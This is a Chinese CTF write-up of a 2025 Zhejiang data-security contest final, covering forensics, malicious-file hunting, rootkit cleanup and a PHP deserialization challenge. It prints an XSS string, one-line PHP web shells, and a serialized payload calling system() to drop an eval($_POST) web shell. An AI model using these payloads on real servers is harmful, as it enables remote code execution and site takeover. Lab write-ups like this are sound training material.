CTF | 7分钟
2025浙江省信息通信协会数据安全大赛决赛WriteUp
八月 17, 2025
勒索病毒 反序列化

初赛忘了保存,翻了下文件,决赛的附件题就记得几道,其他的都是在线的,没写wp

决赛做出来个人赛几题(secret、大浪淘金方显英雄本色,其他的就忘记了),个人赛能进前7吧。团队赛两个场景题,各有10个flag,工控环境和测试环境。分别外网打内网打到里面好几层,做代理链之类,很可惜,没做出来后面的。第二个场景要制作字典爆破密码,由于进入后台也没成功写文件,这里就不写了,我做的都是简单的,其他wp是来自QK的

相关附件在:https://github.com/TajangSec/2025_ZJ_TGJ_competition

个人赛

勒索病毒

检查mysql binlog文件,在binlog.000003中有flag

命令:cat /var/lib/mysql/binlog.000003

secret

V20xNGFGb3pkR3RaV0ZKb1dETk9iRmt6Vm5saFdGSTFXREpzZWxneldteGpibXhtWVZjMU1GcFlTbXhqTTFKd1ltMWtPUT09

三次base64

大浪淘金方显英雄本色

每种类型文件都被植入了恶意代码或错误代码,请找出,拼接文件名,md5编码后为flag

要求:Hint2:拼接顺序遵循txt>png>pdf的原则,同种⽂件遵循⾸字⺟⼤写>⾸字⺟⼩写>⾸字⺟数字,a-z/0-9的顺序 Hint3:示例:xxxx.txt,xxxx.png,xxxx.pdf

做完两边还在问我><

我电脑有河马查杀,所以扫了一下直接出来5个含有一句话的png

txt是一个个看的

pdf是很多人搞不出来的地方,这里并不是pdf内容有恶意代码

我用的exiftool .,然后搜索id时,发现了invalid,总共有五个文件有这个提示

所以这五个就出来了,没想到这题很多人没做出来。

贴一下QK的这题解法

txt: 用cat * ,然后人肉找

异常字符有:

<script>alert(document.cookie)</script>

紫薇小区42号

625311200504206457

15522489864

李丽华

png:用strings可以找到一句话木马

pdf: 用acrobat预览,会发现有5个文件没有预览图

预览图,离谱

运维题(QK太强了)

这题真不会

查看/etc/passwd,发现恶意用户badguy,但是删不掉

根据给的提示查看/etc/ld.so.preload

发现libhash.so,cat一下发现关键字sysproc

/etc/ld.so.preloadlibhash.so删除,再ps -ef查看进程,可以发现sysproc(未删除前面两个文件时该进程不可见)

sysproc kill掉,找到文件所在位置,删除文件

随后删除badguy

再次查看check文件时已经有flag了(这里我还盲删了/root/.ssh,但猜测应该和本题关系不大)

团队赛

WEB1

访问www.zip下载源代码,审计代码

php
 1<?php
 2header("content-type:text/html;charset=utf-8");
 3include("lib/manager.php");
 4
 5// 配置项
 6define('AUTH_USER', 'admin');
 7define('AUTH_PASS', 'admin@123');
 8define('SESSION_COOKIE', 'portal_session');
 9
10$userInput = isset($_POST['user']) ? $_POST['user'] : die('Access denied: username required');
11$passInput = isset($_POST['pass']) ? $_POST['pass'] : die('Access denied: password required');
12
13if($userInput === AUTH_USER && $passInput === AUTH_PASS) {
14    echo '<script>alert("Authentication successful!")</script>';
15    echo "<h2>Industrial Control Portal</h2>";
16    echo "<p>Authenticated as: " . htmlspecialchars($userInput) . "</p>";
17
18    if(!isset($_COOKIE[SESSION_COOKIE])) {
19        $sessionObj = new PortalUser(AUTH_USER);
20        $encodedData = base64_encode(serialize($sessionObj));
21        setcookie(SESSION_COOKIE, $encodedData, time()+3600, "/", "", false, true);
22        echo "<p>Session initialized</p>";
23    } else {
24        $serializedData = base64_decode($_COOKIE[SESSION_COOKIE]);
25        unserialize($serializedData);
26    }
27
28    echo '<div class="dashboard">
29            <h3>Device Monitoring</h3>
30            <p>Connected devices: 15</p>
31            <p>Firmware version: v3.1.2</p>
32          </div>';
33} else {
34    echo "<script>alert('Invalid credentials!');window.location.href='./index.html';</script>";
35}
36?>

这部分代码表示当用户名密码正确时,会将cookie中的portal_session字段进行反序列化

接下来寻找可执行命令的类,由于auth.php在头部加载了manager.php,重点检查manager.php,找到执行代码类

php
 1<?php
 2include("logger.php");
 3
 4class AccessGreeter {
 5    public $greetingCallback;
 6
 7    public function handleAccess($visitor) {
 8        if(isset($this->greetingCallback)) {
 9            call_user_func($this->greetingCallback, $visitor);
10        } else {
11            echo "Access granted for " . htmlspecialchars($visitor);
12        }
13    }
14}
15
16class PortalUser {
17    private $userIdentifier;
18    private $accessHandler;
19
20    public function __construct($identifier, $handler = null) {
21        $this->userIdentifier = $identifier;
22        $this->accessHandler = $handler ? $handler : new AccessGreeter();
23    }
24
25    public function __destruct() {
26        $this->accessHandler->handleAccess($this->userIdentifier);
27    }
28}
29
30class EquipmentInterface {
31    public $deviceCode;
32    public $operation;
33
34    public function __wakeup() {
35        if(isset($this->operation)) {
36            call_user_func($this->operation, $this->deviceCode);
37        }
38    }
39}
40?>

最后构造反序列化

bash
1O:18:"EquipmentInterface":2:{s:10:"deviceCode";s:41:"echo "<?php eval($_POST[1]);?>" > 111.php";s:9:"operation";s:6:"system";}

写入cookie执行,完成种马

蚁剑连接,在c:\users\administrator\desktop下找到flag